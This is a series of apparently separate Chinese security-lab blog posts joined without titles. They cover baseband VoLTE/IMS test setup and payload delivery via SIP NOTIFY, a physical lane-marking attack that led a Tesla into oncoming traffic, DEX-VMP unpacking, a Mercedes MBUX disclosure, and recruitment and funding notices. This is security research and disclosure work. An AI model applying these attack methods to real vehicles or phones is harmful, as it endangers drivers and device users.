在进行初步的搭建后，一加6（non-IPSec）、Google Pixel 3（IPSec）可以成功注册VoLTE服务，这意味着我们的环境在高通的芯片上能够很好地工作。但是在使用三星芯片的手机上，整个流程会在注册时失败。
但是这些设备能够使用当地运营商的普通SIM卡注册VoLTE，这让我们对修改Kamailio配置和代码充满希望。 首先要做的是在电话上捕获成功的注册流量。 幸运的是，三星的Sysdump Utility中有一个内置的IMS调试工具IMS Logger，它允许我们查看来自应用程序的IMS流量。 下面是一个正常的注册消息及其响应：

Kamailio和本地运营商之间存在一些差异。 我们并不真正知道哪个字段是注册失败的关键。 我们方法是让它们看起来尽可能相似。

在对Kamailio进行了一些更改后，我们取得了一点进展，我们收到了第二条注册消息。 那么问题就到了服务器端，它并没有提供STATUS 200响应。

经过调查，我们发现服务器和客户端之间的IPSec不一致。 我们决定从服务器端强制禁用IPSec。以下是我们打的补丁：

5.2.1参考

VoLTE/IMS Debugging on Samsung Handsets using Sysdump & Samsung IMS Logger
Reverse Engineering Samsung Sysdump Utils to Unlock IMS Debug & TCPdump on Samsung Phones

5.3. Payload Delivery

一旦UE注册并订阅到SIP服务器，服务器将发送NOTIFY消息以提供网络中的基本信息，比如其他UE的联系方式等。而payload会以XML的格式存在于NOTIFY消息中。该消息的负责模块是S-CSCF。这是要修改以生成任意有效payload的函数：

1

str generate_reginfo_full(udomain_t* _t, str* impu_list, int num_impus, str *explit_dereg_contact, int num_explit_dereg_contact, unsigned int reginfo_version);

6.结论

在这项研究中，我们展示了下一代Android设备配备的5G基带安全状态。尽管在网络功能方面已经发生了演变，但我们看到在安全性方面仍然没有过多进步。正如我们实际上已经展示的那样，一些基带缺乏最基本的安全措施，例如栈cookie保护，这让攻击者能够使用缓冲区溢出等简单攻击无线攻击它们。我们在三年前进行过安全研究，但是至今情况似乎没有太大改善。 我们希望在三年后我们可以再次展示一些研究，在一个更加严格的环境中。

点击下载议题白皮书

科恩实验室在2019年发布了对Telsa Autopilot的研究 [1]，其中一项研究成果实现了对车道线系统的攻击。具体来说，我们在路面部署干扰信息后，可导致车辆经过时对车道线做出错误判断，致使车辆驶入反向车道。然而这种攻击依赖于人工调试，让攻击不够高效，不够自动化且不够隐蔽。
为完善该攻击方法，以及进一步测试现有车道线检测系统的安全性，我们基于黑盒测试和优化算法设计了一种自动化的攻击方法来找到人眼难以察觉，但却可以欺骗车道线检测系统的扰动。在实验阶段，这些扰动被布置在物理世界中，而处于自动驾驶状态的车辆成功被引入了逆向车道（如图.1所示）。

该研究由科恩实验室和香港理工大学罗夏朴教授团队及宾州州立大学王挺教授联合完成。
且相关论文: 《Too Good to Be Safe: Tricking Lane Detection in Autonomous Driving with Crafted Perturbations》发表于安全领域四大顶会中的USENIX Security 2021。
Presentation link: https://www.usenix.org/conference/usenixsecurity21/presentation/jing
预发布论文下载见文末。

关于USENIX Security会议

USENIX Security会议是安全领域最具影响力的顶级学术会议之一，多年来的论文接受率均低于20%。其常与Oakland S&P, CCS, NDSS并称为安全领域的四大顶会。USENIX Security 2021会议将于2021年8月11日-13日在线上举行。

实验方法

本次研究中Tesla 具体车型为Model S 75，其Autopilot硬件版本为2.5，软件版本为2018.6.1。基于对抗样本的思想，我们期望找到 1.人眼不容易发现，2.且可以欺骗系统的扰动。找到该种扰动的Two-stage攻击的框架如图.2所示：我们先基于黑盒测试和优化算法在数字图像层面找到最佳扰动 (Stage.1)，然后再将该扰动布置到物理世界 (Stage.2)。

Stage.1: 找到digital层面的最佳扰动
首先，基于从Model S中提取的camera image（该图像后续将被用于车道线检测），我们以指定的参数对该图像加入形如车道线的扰动，然后将被篡改的图像送进车道线检测系统。同样，被篡改图像对应的lane image（车道线检测的结果）也将被从车内提取出来。基于1.加入扰动的可见度和2.被检测到的车道线强度，我们运用优化算法来找到1.最隐蔽，且2.有最好攻击效果的扰动。

Stage.2: 在物理世界布置扰动并检测攻击效果
在Stage.1中，加入扰动的参数是基于物理世界的坐标进行设计的（包括扰动的长宽，以及与车的相对坐标等）。因此，这些扰动能很方便地被布置在物理世界。在Stage.2，这些扰动被布置在车的前方。通过观察车道线检测的结果，以及自动驾驶系统是否对这些扰动进行相应，攻击的有效性得以证实。
具体来说，图.3展示了如何对这些扰动进行定义：我们采用一个多维向量来表征形似车道线的扰动，该向量中包括扰动的形状，相对车载摄像头的坐标，角度，数量等参数。一组扰动将由一组物理参数唯一决定，然后基于这些物理参数，通过摄像头的针眼模型和去畸变算法，这些扰动被加入到数字图像中并应用于后续的优化算法。

我们采用了一共5种启发式算法来寻找最优的扰动，这些算法的表现如图.4所示。其中PSO（粒子群算法）拥有最好的综合性能。

攻击效果

实验表明，在行驶过程中，检测模型的确将这些扰动视为真实的车道线，并且对其响应。具体来说，处于自动驾驶状态的车辆在十字路口被我们添加的扰动成功引入了逆向车道：

1.在十字路口场景下，车辆以自动驾驶模式在道路右侧行驶（此为正确的行驶方向）:

2.在即将要通过十字路口时，车辆将地面上的扰动视为真实的车道线，并且随着这些扰动开始转弯:

3.通过十字路口时，车辆跟随被检测到的假车道线驶入逆向车道:

4.车辆保持在逆向车道上行驶:

该过程中，对应的逐帧图像如下视频所示：

补充说明

本次发布的研究成果在Autopilot的2018.6.1版本上得到验证，研究团队未对Autopilot其他更高版本进行测试Tesla是否通过升级其模型来防范该攻击。但无论何种情况，为保证安全，建议即使在Autopilot辅助驾驶开启的情况下，车主也应该全神贯注于驾驶，且随时准备接管车辆的控制。

AI能力建设

自2018年起，腾讯安全科恩实验室积极布局人工智能安全研究，并在”安全+AI”交叉领域结合应用场景研究探索。基于对抗样本生成、二进制分析等问题的研究，先后在多个顶级期刊与会议上发表了特斯拉Autopilot的实验性安全研究、基于图神经网络的二进制代码分析、基于跨模态检索的二进制-源代码匹配等论文。同时，在AI安全研究与能力建设的方向上，科恩始终秉持开放合作的态度，通过各类研究合作项目与广大研究学者进行深入学习交流，和香港科技大学、香港理工大学和中科院信息工程研究所展开合作科研。
科恩也将持续对这一前沿领域进行探索将其应用在安全领域中，近期科恩也将对外开放更多能力，敬请期待！

引用

[1]腾讯科恩实验室: 特斯拉Autopilot的实验性安全研究

点击下载预发布论文

腾讯安全科恩实验室自研的面向攻击面的Android应用自动化检测系统ApkPecker，正式上线自动化APK脱壳能力！线上ApkPecker系统提供高成功率的自动化脱壳服务，扩大漏洞扫描的覆盖面。限时扫码加入ApkPecker技术交流群，体验更高效的Android应用检测服务。

背景

为避免Android应用程序被轻易逆向暴露程序逻辑，Android平台APP加固技术也不断发展。加固服务能一定程度提高Android应用程序被逆向的难度，但仍无法避免和防止应用程序自身的安全问题和漏洞。除此之外，恶意程序还能利用加固服务隐藏恶意行为逻辑。因此，通过研究Android应用程序通用自动脱壳方法，能客观评估加固的有效性，还能及时发现应用本身存在的安全问题，并为恶意应用程序的发现扫清障碍。
经过多年的发展和对抗，Android平台APP加固技术已经相当成熟，防护粒度从DEX整体加密开始，细化到方法级别和指令级别，不断增加逆向分析的难度和工作量来保护客户端代码。相应的，针对这些加固技术，也出现了很多通用的脱壳方法和工具。这些工具通过内存dump在运行时获取壳释放的APP原始代码，来实现DEX层通用脱壳。然而厂商也发展出了定制化的加固方法来对抗通用脱壳，DEX虚拟化(DEX-VMP)便是其中之一。DEX虚拟化加固使得常见的基于内存dump的通用脱壳工具不再适用，增加了自动化分析的难度。为帮助厂商进一步提升应用安全检测覆盖面，ApkPecker推出自动化DEX-VMP脱壳服务。

DEX-VMP实现原理

DEX-VMP是一种基于虚拟机的DEX加固方案。DEX-VMP在加固阶段将App受保护的方法native化，抽取原始字节码并转换成自定义格式的字节码；在运行阶段，DEX-VMP使用自定义的Dalvik解释器来解释执行转换后的自定义字节码。表1展示了DEX-VMP加固前后的代码对比。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18

// DEX-VMP 加固前App代码
class Foo{
    void onCreate(){
        super.onCreate();
    }
}

// DEX-VMP加固后App代码
class Foo {
    void onCreate(){
        vm.v(0);
    }
}

//厂商解释器入口函数
class Vm {
    void native v(int methodId);
}

图1展示了正常Dalvik代码和DEX-VMP保护的代码在执行时的区别。正常Dalvik代码由Android ART运行时执行，而被DEX-VMP Native化的方法在运行时通过JNI进入厂商解释器入口。厂商解释器可以进行各种定制化修改，例如使用自定义的Opcode映射表和指令格式，增加还原难度。DEX-VMP在厂商解释器中解释执行自定义的字节码，不释放原始Dalvik字节码，从而能够对抗通用脱壳技术。

DEX-VMP自动化脱壳难点

1. 如何找到所有的自定义字节码?
   通用脱壳可以通过主动调用App的所有方法，在壳释放出Dalvik代码后，在ART内部获得所有方法的字节码。然而DEX-VMP使用了自定义的解释器，很难使用通用的方法获得其字节码。
2. 如何将自定义字节码翻译成标准Dalvik
   厂商自定义的解释器对字节码进行了加密和转换。例如，解释器在执行前解密字节码，字节码中的opcode、常量索引等在加固时也被转换成内部对应的opcode和索引。同时，厂商的加固服务会周期性更换这些转换关系，增加还原的难度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

while (1) {
    uint8_t* pc = vm_ctx->pc;
    uint8_t opcode_xor_key = vm_ctx->xor_key;
    uint8_t opcode = opcode_decrypt(*pc ^ opcode_xor_key); 
    switch (opcode & 0xFF) {
    case 0x00: // add-int vAA,vBB,vCC
        uint32_t AA = read_uint8(pc+1) ^ 0x12;//decrypt operand
        uint32_t BB = read_uint8(pc+2) ^ 0x34;
        uint32_t CC = read_uint8(pc+3) ^ 0x56;
        
        int32_t vBB = vm_ctx->registers[BB];
        int32_t vCC = vm_ctx->registers[CC];
        vm_ctx->registers[AA] = (uint32_t)(vBB + vCC);
        pc += 4;         break;
    case 0x01: // const-string vAA,string@BBBB
        uint32_t AA = read_uint8(pc+1) ^ 0xab
        //decrypt string index
        uint32_t BBBB = read_uint32(pc+2) ^ 0xcdef;
        jstring jstr = create_string_from_internal_index(BBBB);
        vm_ctx->registers[AA] = (uint32_t)jstr;
        pc+=4;
        break;
    ... // other handlers
}

表2展示了一个自定义Dalvik解释器的伪代码片段。pc指向待执行的指令，xor_key用来在执行前解密指令的opcode，registers数组代表寄存器。该例子中opcode 0x00对应的语义是add-int，0x01对应const-string，与Dalvik标准中opcode编号不同，并且使用了自定义的字符串索引，而不是DEX常量池中的字符串索引。
为了将自定义的字节码转换成符合Dalvik标准的字节码，需要从解释器中提取字节码的解密逻辑和自定义的常量池数据，同时也要需要识别opcode handler的语义。Dalvik 标准中有两百多条Opcode，人工从厂商解释器的二进制代码中识别这些handler对应的语义十分繁琐。

ApkPecker的自动化DEX-VMP脱壳服务

腾讯安全科恩实验室研发的ApkPecker，是一款全自动的Android应用漏洞扫描工具，能够输出高质量漏洞扫描报告，提供高品质漏洞信息以及漏洞触发完整路径，精准定位漏洞并提供修复建议，帮助移动安全人员解决现有痛点，提升应用安全性。 在现有漏洞扫描的基础上，ApkPecker提供了自动化APK脱壳服务，针对市面主流加固厂商，以高成功率自动化脱壳，为移动安全分析人员解决了障碍，扩大漏洞扫描的覆盖面。

DEX-VMP自动化脱壳方案

ApkPecker支持恢复常见的DEX加密和指令抽取等类型的加固，同时，针对厂商的DEX虚拟化保护(DEX-VMP)， ApkPecker也进行了针对性脱壳和恢复。
ApkPecker在确定厂商字节码格式的基础上，通过AI学习厂商解释器二进制中opcode handler的运行时行为，从而自动化恢复出厂商解释器的opcode语义，还原出原始Dalvik字节码，并重写DEX文件。ApkPekcer的脱壳方案解决了opcode handler识别的难点，自动化还原被DEX-VMP保护的代码，提高了脱壳的完整度和自动化程度。图2展示了ApkPecker对指令抽取和DEX-VMP的脱壳效果。

脱壳覆盖面与成功率

整体来看，ApkPecker的脱壳能力可以通过以下几个关键指标体现：
● 支持的加固方法 ：DEX加密，指令抽取，DEX虚拟化
● 大规模测试下的脱壳成功率 >= 85%
ApkPecker脱壳功能适配主流的DEX加密、指令抽取和DEX虚拟化等加固方法。我们在主流App市场的测试发现，超过60%的的加固App受到不同程度的DEX-VMP保护，而ApkPecker对加固App的脱壳成功率高于85%。

交流和体验

限时扫描二维码进入ApkPecker技术交流群，获取更多脱壳以及应用自动化检测技术资料，更有不定期福利放送。
浏览器中体验面向攻击面的Android应用自动化检测系统ApkPecker：ApkPecker在线地址。

介绍视频

CCF-腾讯犀牛鸟基金（以下简称犀牛鸟基金）于2013年由腾讯公司和中国计算机学会（CCF）共同发起，致力于面向海内外青年学者搭建产学研合作及学术交流的平台。

9年来，犀牛鸟基金为全球范围内最具创新力的青年学者提供了解产业真实问题，接触业务实际需求的机会，并通过连接青年学者与企业研发团队的产学科研合作，推动双方学术影响力的提升及研究成果的应用落地，为自主研发技术的探索和创新储备能量。

科恩AI能力建设

腾讯安全科恩实验室自2018年起积极布局人工智能安全研究，并在”安全+AI”交叉领域结合应用场景研究探索，在研究AI算法自身安全性方向获得突破性成果的基础上，持续探索如何将AI算法应用到传统安全研究当中。

• 2019年3月，科恩实验室发布“特斯拉Autopilot的实验性安全研究”，即首个实现对抗商用自动驾驶系统图像识别功能的研究案例。
• 2019年12月，科恩发布利用图神经网络解决二进制程序函数相似性分析问题成果，相关论文被人工智能顶级学术会议AAAI-20会议收录。
• 2020年11月，科恩提出基于AI的二进制代码/源代码端到端匹配算法，相关论文入选人工智能顶级学术会议NeurIPS 2020。
• 2020年11月，科恩公开应用AI算法解决二进制安全问题的代码检索工具BinaryAI。
• 2021年3月，腾讯安全科恩实验室与香港理工大学合作关于Autopilot的最新研究成果被安全领域四大顶会中的USENIX Security 2021收录。

在AI安全研究与能力建设的方向上，科恩始终秉持开放合作的态度，通过各类研究合作项目与广大研究学者进行深入学习交流。自2019年起，科恩深度参与腾讯公司高校合作项目CCF-腾讯犀牛鸟基金，与香港科技大学、香港理工大学、中科院信工所等多所院校在AI安全能力研究方向展开合作，并取得诸多成果。

为进一步深耕深度学习与软件安全研究领域，在2021年CCF-腾讯犀牛鸟基金项目中，腾讯安全科恩实验室继续开放“深度学习在软件安全领域的应用研究”课题方向申请。科恩期待与更多在“安全+AI”领域深入研究的高校青年教师合作，碰撞出利用AI算法解决安全实际场景问题的更多火花。

“深度学习在软件安全领域的应用研究”课题

本年度犀牛鸟基金继续以人工智能技术为主要研究方向，强调其在医疗健康、能源保障、材料研发、信息安全等民生领域的技术融合与应用，并涉及多源信息融合、博弈论、密码学等领域前沿课题。
腾讯安全科恩实验室在本次犀牛鸟中启动“深度学习在软件安全领域的应用研究”课题方向申请，相关信息如下：

深度学习在软件安全领域的应用研究

随着软件复杂度的不断提升，大规模源代码和二进制软件的漏洞挖掘工作面临新的机遇和挑战。本命题希望把深度学习相关技术（例如自然语言处理、图神经网络、深度强化学习等）应用于软件安全研究中，其成果可以对传统的逆向工程、模糊测试、漏洞挖掘等有较大促进。

建议研究方向

• 计算机语言的表征和分类研究，例如识别二进制软件对应的编译器、编译优化选项、第三方库、开发作者等信息。
• 计算机语言的自动生成和翻译技术研究，例如自动生成用于编译器(解释器)模糊测试的符合语法结构的程序代码；利用机器翻译技术实现二进制和源代码之间的相互翻译工作。
• 基于程序语义表征的安全属性分析研究，例如代码相似性分析、API 误用分析、已知/ 未知漏洞检索等。
• 二进制可执行文件的软件成分分析，如第三方库及其版本号等的分析与识别。

申报条件

本基金将面向符合如下条件的海内外高校及科研院所青年学者展开：

• 男性申请人是1985年1月1日（含），女性申请人是1980年1月1日（含）之后出生的高校/科研院所在职的全职教师或研究人员。
• 硕士/博士毕业后在高校/科研院所累计任职时间，男性不超过5年，女性不超过10年。
• 能独立进行研究工作，并带领学生团队共同参与课题研究与实践。

申报方式

申报截止时间：2021年6月15日 24:00（北京时间）
申报方式：点击2021年CCF-腾讯犀牛鸟基金介绍主页查看《2021年CCF-腾讯犀牛鸟基金项目申报指南》，填写并上传《申报表》提交申请。
注意事项：

• 每位申请人限提交一份申请，已获得上一年度科研基金资助的项目负责人需隔一年再提交申请。
• 申请人在申报前需确认所在高校/科研院所可以作为项目依托单位签署科研合作协议，申请人本人可以作为项目负责人签署项目保密协议等相关承诺文件。

更多申报主题信息请关注腾讯高校合作官方网站。任何针对项目申报的问题，请联系基金项目负责人邸欣晨。
电子邮箱：xinchendi@tencent.com。

欢迎广大青年学者关注并申报本年度犀牛鸟基金。

引用

[1]https://www.ccf.org.cn/Media_list/ccf/2021-05-14/728588.shtml
[2]https://ur.tencent.com/
[3]https://keenlab.tencent.com/zh/2019/03/29/Tencent-Keen-Security-Lab-Experimental-Security-Research-of-Tesla-Autopilot/
[4]https://keenlab.tencent.com/zh/2019/12/10/Tencent-Keen-Security-Lab-Order-Matters/)
[5]https://keenlab.tencent.com/zh/2020/11/03/neurips-2020-cameraready/

腾讯安全科恩实验室遵循白帽黑客准则对梅赛德斯-奔驰汽车智能互联系统进行信息安全研究。在对其最新车载信息娱乐系统MBUX的软硬件进行全面深入的研究后，科恩实验室发现多个相关漏洞并成功在车载信息娱乐系统（Head Unit）和车载通讯模块（T-Box）的部分攻击面上实现利用。科恩实验室第一时间向戴姆勒报告本研究中发现的所有漏洞技术细节并协助进行漏洞修复。

研究简介

MBUX是梅赛德斯-奔驰最新的车载信息娱乐系统，自2018年A级车中首次推出后，陆续在梅赛德斯-奔驰E级、GLE、GLS、EQC等车型搭载上市。

在本次研究中，我们对MBUX的硬件以及软件做了深入和全面的分析。通过收集技术资料并搭建测试环境，我们分析了多个攻击面并进行相关安全测试。

现代信息娱乐系统比以往更强大、复杂和安全，梅赛德斯-奔驰的MBUX也不例外。目前，未有任何公开资料对现代车载娱乐系统进行全面的安全性分析。因此，本次研究的定位是进行更广泛的安全性评估，而非单个安全性渗透测试。我们详尽地研究了包括无线电等组件的多个攻击面。

经过研究测试，我们在MBUX上发现多个相关漏洞，并成功在车载信息娱乐系统（Head Unit）和车载通讯模块（T-Box）的部分攻击面上实现利用。在实验环境中，我们首先通过物理接触获得车机权限，以此为前提实现车载信息娱乐系统（Head Unit）远程控制。继而我们能够远程控制车辆的某些功能，例如更改内部氛围灯的颜色，在信息娱乐屏幕上显示图像等。同时，在调试版本的车载通讯模块（T-Box）上，我们能够入侵T-Box上的内部芯片，可以实现发送任意CAN数据。

漏洞信息

腾讯安全科恩实验室在第一时间向戴姆勒报告了本研究中发现的所有漏洞技术细节，目前所有漏洞细节和攻击方法均已得到戴姆勒官方确认。科恩实验室感谢戴姆勒对我们漏洞报告的及时响应以及对漏洞修复积极负责的态度。在整个过程中，科恩与戴姆勒保持紧密高效地合作。

考虑到潜在的安全风险，本次披露隐去漏洞详细信息，以下是戴姆勒确认的CVE漏洞列表:

负责任的披露流程

腾讯安全科恩实验室在本次对梅赛德斯-奔驰汽车的信息安全研究项目中，严格遵守全球软件和互联网行业公认的“负责任的漏洞披露原则”, 并协助戴姆勒及时修复本次报告中涉及的漏洞。

整个漏洞披露流程涉及的具体时间节点如下所示：

2020年3月：科恩实验室内部启动了梅赛德斯·奔驰研究项目。
2020年11月：在实验环境中，科恩实验室验证所有发现的漏洞及相应攻击链。
2020年12月21日：科恩实验室向戴姆勒发送了第一封电子邮件。
2020年12月24日：科恩实验室以安全的方式向戴姆勒安全团队报告了所有研究结果。
2021年1月7日：科恩实验室和戴姆勒首次通话。
2021年1月15日：戴姆勒安全团队确认了科恩实验室报告的全部漏洞。 戴姆勒表示这些漏洞的一些修复程序已经可用，并且正在发布中。
2021年1月21日：戴姆勒安全团队申请了5个CVE。
2021年1月30日：戴姆勒安全团队确认并开始推出新的修复程序。
2021年2月/3月：准备联合发布。
2021年5月：此报告向公众发布。

戴姆勒安全团队对本次研究的回应

戴姆勒团队对于此次研究的官方回复请参考如下链接：
https://media.daimler.com/marsMediaSite/ko/en/49946866

戴姆勒团队充分认可腾讯安全科恩实验室在安全领域国际一流的专业度和技术实力。为感谢科恩在梅赛德斯-奔驰汽车相关信息安全研究中取得的优异成果，戴姆勒股份公司首席信息安全官Daniel Eitler及梅赛德斯-奔驰乘用车车辆信息技术安全负责人Adi Ofek为科恩实验室颁发签名致谢函。

技术研究白皮书

如果想进一步了解科恩实验室对梅赛德斯-奔驰汽车信息安全研究项目，可以通过以下链接查看本次研究技术白皮书：
Mercedes-Benz MBUX Security Research Report.pdf

科恩暑期开源程序设计项目-RSoC(Rizin Summer of Code)是由腾讯安全科恩实验室与国际二进制开源逆向工程框架Rizin联合举办的一场开源程序设计项目，旨在为有能力的高校学生提供大型项目参与机会。

通过线上笔试（micro-tasks）的各大高校参与者将有机会被录用为科恩实验室暑期实习生，以国际开源逆向工程框架Rizin为研究主体，在七月中旬开始以线下的形式进行一场为期三个月的程序设计项目。

期待一个跃跃欲试的你加入科恩大家庭，与小伙伴们一起玩转二进制黑魔法。

导师阵容：
Anton Kochkov(@akochkov)：科恩实验室成员、开源框架Rizin核心成员
leonxlfang：科恩实验室成员
davendu：科恩实验室成员

**micro-tasks内容**：
围绕Rizin开展轻量issue任务

流程&参与方式

关键时间节点

• 简历投递 3月4日-5月1日 （后续流程滚动进行）
• 初审 3月4日-5月1日
• 笔试(micro-tasks) 3月4日-5月1日
• 项目开启 7月15前
• 项目评审 9月初

参与要求

a. 22届及之后高校生
b. 熟悉C语言，掌握开发workflow，例如：git,CI/CD
c. 加分项：有扎实的逆向基础

参与方式

简历投递

在报名周期内（3.4-5.1），选择官方博客所列初审micro-tasks项目作为笔试题目，备注所选项目名投递简历至腾讯招聘官网。

简历投递入口：腾讯招聘官网→ 实习生招聘 → 实习生
岗位选择: 安全技术
简历填写须知：除个人信息外，请注意以下几点：

1. 意向事业群及部门选择：CSIG事业群→腾讯安全
2. 面试城市：远程面试
3. 期望工作地点：上海
4. 请在补充信息处填写：
   意向部门：腾讯安全科恩实验室
   初审题目名称：XXX（你所选择的micro-tasks项目，例如：ELF binary parsing )

ps: 请注意简历填写的4点须知，填写信息不完整我们将有可能错失你的简历。

笔试初审

科恩会在收到投递简历后进行初步审核，审核通过后科恩将发起笔试邀约。
笔试题目为你所选择的micro-tasks任务，micro-tasks围绕Rizin开展轻量issue任务，预期在两周内完成。
参与同学需独立完成micro-tasks题目，并在截止日期（截止日期以官方招聘通知为准）之前提交笔试内容，大致包括：

1. micro-tasks题目的完成说明书，包括但不限于：遇到的困难以及解决方案、心得。
2. 项目github链接。

科恩将在笔试提交后2周左右给出评审结果，面试有micro-tasks笔试+hr面两道流程，通过的候选人将有机会获得腾讯科恩实验室暑期offer，进行后续暑期项目。
ps: 此专项笔试和集团统一笔试互不影响，仅作为RSoC项目选拔方式。

暑期项目

通过面试的同学将以科恩正式实习生的身份与导师共同开启以Rizin为主体的项目研究现场实习。
入选的同学需要在7月15号前启动项目，且项目持续时间不少于两个月。
项目研究同学享受腾讯正式实习生待遇，根据项目表现情况有机会获取转正资格。

项目复盘

科恩将在9月初举办RSoC项目中期汇报，根据汇报情况作出评价，发放奖励。中期汇报结束后，参与者可根据自身情况继续实习或参与线上跟进项目，当项目完成，科恩将组织一场总汇报为RSoC2021画上句号。

奖励&收获

你将获得参与国际开源项目编程的经验，与国际优秀coder共同为开源项目做贡献。
你将收获科恩实验室导师一枚，与导师一起研究炫酷二进制黑魔法。
你将有机会斩获腾讯科恩实验室实习生录用offer，在腾云大厦与实验室小伙伴学习交流，获得一份不错的实习经历。

关于科恩&Rizin

腾讯科恩实验室
腾讯科恩实验室作为腾讯集团云与智慧产业事业群旗下一支国际一流的信息安全团队，技术实力和研究成果处于国际领先水平。近年来，更是在IoT安全、网联汽车与自动驾驶安全、云计算和虚拟化技术安全等领域取得突破性成果。随着更多新技术进入产业互联网，腾讯科恩实验室继续保持领先的前沿技术研究能力，同时向智能网联汽车、安卓应用生态、IoT等行业开放核心技术能力和行业解决方案。护航各行业数字化变革，守护全网用户的信息安全是腾讯科恩实验室的使命。

Rizin
Rizin是项类unix的逆向工程框架和命令行工具集，是来自世界各地的优秀编程极客的思想结晶，由国际知名免费开源逆向工程框架Radare2提取分支而来。Rizin持有二进制文件分析，反汇编代码，调试程序…等等功能，致力于为使用者提供一个可用性强、稳定性高的优秀工具。

FAQ

项目答疑讨论QQ群：181504148

与常规实习招聘的区别是什么？
本次招聘与腾讯官方暑期实习招聘性质相同，offer将区分应届生与非应届发送，你也有机会获得转正资格。
本次招聘流程简化为一次笔试+一次hr面。
本次招聘的本质还是暑期项目程序设计，你将与导师协作完成项目，不做大厂螺丝钉。

初审评审依据是什么？
导师会根据学生的实际开发情况、开发任务难度综合考虑。

可以以小组的形式提交初审吗？
不能，该项目以个人形式进行，我们希望你能真诚独立完成测试~

我将以什么形式获得结果告知？
下发笔试、初审结果、hr面试都将以邮件形式告知，请注意邮件消息哦~

我可以线上跟进项目吗？
参与最终项目的同学将获得腾讯科恩实验室的实习生offer，为了你能获得更多经验，我们建议你来到上海腾云大厦与大家共同学习。

我需要什么基础才能通过初审？
RSoC是以Rizin项目为核心，为其解决缺陷，贡献代码，而Rizin是C写的开源项目，所以你需要懂整体的开发workflow，比如git, CI/CD。与此同时，Rizin本身是一款逆向工具，所以，你也需要对逆向方面的理论支持，总体偏底层硬核架构方面。一句话概括就是主开发，懂逆向。

micro-tasks列表

由于本次项目主体为国际开源框架，为了确保项目对接顺利，笔试(micro-tasks)以及暑期项目都将以全英文形式进行。

1.File formats

Implementing the support for any new file format counts as a microtask. See New File-Format label for pending issues.

2.ELF binary parsing.

Rizin parses a lot of information about the ELF but doesn’t print everything.
Thus, the improving the output of i* commands and rz-bin tool is important to match up with readelf:

• Add file section type and more flags for sections information (iScommand)
• Add file offset and memory alignment for segments information (iSS command)
• Preserve valid names for symbols and sections

3.Analysis

The current code analysis has many caveats and issues which need addressing. Fixing them and writing more tests is important to stabilize and enhance rizin’s analysis engine.

See these issues or the “Analysis” project on our GitHub dashboard.

Basefind #413

There are plenty of external scripts and plugins for finding the most probable base for raw firmware images. Opening raw firmwares with rizin is a common use case, so it makes sense to implement it as a part of rizin core.

4.Class analysis for C++/ObjectiveC/Swift/Dlang/Java #416

Analysis classes, accessible under the ac command, is a relatively new feature of rizin.
They provide a way to both manually and automatically manage and use information about classes in the binary.

Devirtualize method calls using class vtables #414

Consider the following call: call dword [eax + 0x6c]
Let’s assume eax is the base pointer of a vtable we have saved in class analysis and we want to find out the actual address of the called method.

So there should be a command that takes the offset (in this case 0x6c) and looks up the actual destination.
It should be possible to call this command with a specific class, so it only looks into its vtable, or without a class, so it gives a list of possible destinations for all vtables that are not too small for the offset.

When that is implemented, one could also add a command that does the same thing, but automatically takes the offset from the opcode at the current seek.

Add classes list to Vb

Vb already supports browsing bin classes. The same thing should be implemented for classes from
analysis.

5.Signatures

Rizin has a good support for loading and creating signatures, but it is not yet complete, thus some
problems remain, for example: #272.

As Rizin supports FLIRT signatures loading from IDA Pro, not all of them are supported yet - e.g. version 5 compression.

6.Refactoring

Use internal API instead of commands

Currently, Rizin’s source code is rife with calls to rz_core_cmd()-like functions, that run the Rizin command. While it is a useful shortcut for developer, it makes a good source of the potential bugs in case of the command syntax or behavior change. If these changes happen they are invisible to the compiler, so it cannot warn on the changed syntax. It isn’t the case of changed function arguments count or type.
Thus, all these calls eventually should be substituted with direct calls to the corresponding API
functions. If there is no corresponding API funciton, then one should be created.
Good examples of such cases are:

• Refactor Graph processing from commands to the API use
• Refactor Visual mode from commands to the API use
• Refactor Panels mode from commands to the API use

In general you can just search for rz_core_cmd pattern in any place inside librz/.

Improving the uplifting of the code to IL

Rizin has its own intermediate language - ESIL, but not yet support it for all architectures. So
the task is to add ESIL support to any architecture, which doesn’t has it yet.

7.Miscellanous

Improving regression suite and testing

It is required to solve numerous issues, along with improving parallel execution and performance.
Good example is to allow better filtering of the test types to run, for example to ignore debug tests.
The next interesting idea is to setup and reuse Godbolt compilation engine for generating tests for different compilers and compilation options. There is even a command line tool for interacting with Godbolt - cce.

Another important part of the improving test suite is to cover more different formats and cases with
expanding it. See the #114 issue with more details on how it can be done.

8.RzGhidra

There are many small issues in the decompiler output:

• String detection problem and one more.
• Show function arguments in calls
• pdgsd commands showing incorrect P-code
• Prioritize keeping vars with lower addresses
• Minor improvements for the SLEIGH plugin

Some of these issues might be related on how Rizin and RzGhidra integrate and might require changes
in the Rizin side.

Also note, that most of these issues should be paired with the test to verify it will not break in
the future.

导语

在NeurIPS 2020中，腾讯安全科恩实验室使用AI算法解决二进制安全问题的《CodeCMR: Cross-Modal Retrieval For Function-Level Binary Source Code Matching》论文成功入选。本论文首次提出了基于AI的二进制代码/源代码端到端匹配算法，与传统算法相比效果非常出色，准确率大幅提升。本论文成果为逆向分析领域提供了新的思路，大大提升工业部署效率。最新论文研究成果也将应用于腾讯安全科恩实验室研发的代码检索工具BinaryAI，使用体验请关注：https://github.com/binaryai/sdk。

关于NeurIPS会议

机器学习和计算神经科学领域的NeurIPS会议是人工智能领域最具影响力的顶级学术会议之一，备受学者们的关注。国际顶级会议NeurIPS 2020将于2020年12月7日-12日在线上举行。据统计，NeurIPS 2020收到投稿9454篇，创历史最高纪录，接收论文1900篇，论文接收率仅有历史最低的20.1%。

背景

论文链接：CodeCMR: Cross-Modal Retrieval For Function-Level Binary Source Code Matching
在人工智能顶级学术会议AAAI 2020中，腾讯安全科恩实验室利用图神经网络解决二进制程序函数相似性分析问题的技术得到了广泛关注。在此基础上，本次研究方向扩展到二进制代码与源代码的交叉领域，进一步实现腾讯安全科恩实验室在AI+安全新兴方向中的全新探索与突破。
二进制代码-源代码匹配是信息安全领域的重点研究方向之一。在给定二进制代码的情况下，逆向分析研究人员希望找到它对应的源代码，从而提升逆向分析的效率和准确率。但由于源代码和二进制代码的差异性，在此领域的研究较少。B2SFinder[1]和BinPro[2]等传统算法提取源代码和二进制代码的字符串、立即数等特征进行匹配。然而，函数级别的源代码与二进制代码的特征非常少，匹配准确率不高。另一方面，设计合适的特征需要大量的专家经验。
